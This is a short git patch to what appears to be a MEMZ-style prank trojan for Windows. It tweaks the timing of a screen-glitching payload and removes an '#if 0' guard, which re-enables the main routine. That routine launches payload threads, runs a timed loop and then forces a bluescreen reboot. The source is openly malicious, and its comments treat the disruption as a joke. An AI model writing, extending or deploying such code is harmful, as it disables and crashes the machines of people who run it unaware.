From c9c02fcec1dca6e6d84969a4b298e2946063ebab Mon Sep 17 00:00:00 2001 From: arwn Date: Fri, 24 May 2019 16:34:39 -0700 Subject: [PATCH] Fixed glitch scaling --- memez/memez.cpp | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/memez/memez.cpp b/memez/memez.cpp index 61813ea..7d3b921 100644 --- a/memez/memez.cpp +++ b/memez/memez.cpp @@ -168,7 +168,7 @@ void PayloadScreenGlitch(void) BitBlt(hdc, 0, locy, x, 1, hdc, 0 , dy(mt), SRCCOPY); - std::this_thread::sleep_for(std::chrono::seconds(15 - runtime)); + std::this_thread::sleep_for(std::chrono::milliseconds((15 - runtime) * 50)); } } @@ -270,9 +270,6 @@ void PromptToLogOut(void) { int main(void) { - runtime = 10; - PayloadCursor(); -#if 0 std::thread(PromptToLogOut).detach(); // go ahead and start fuckery, message box is just an easy way to log out early. std::thread(LaunchPayloads).detach(); // said fuckery for (runtime = 0; runtime <= MAX_RUNTIME; runtime++) { @@ -280,5 +277,4 @@ int main(void) std::this_thread::sleep_for(std::chrono::minutes(1)); } reboot(REBOOT_BLUESCREEN); -#endif } \ No newline at end of file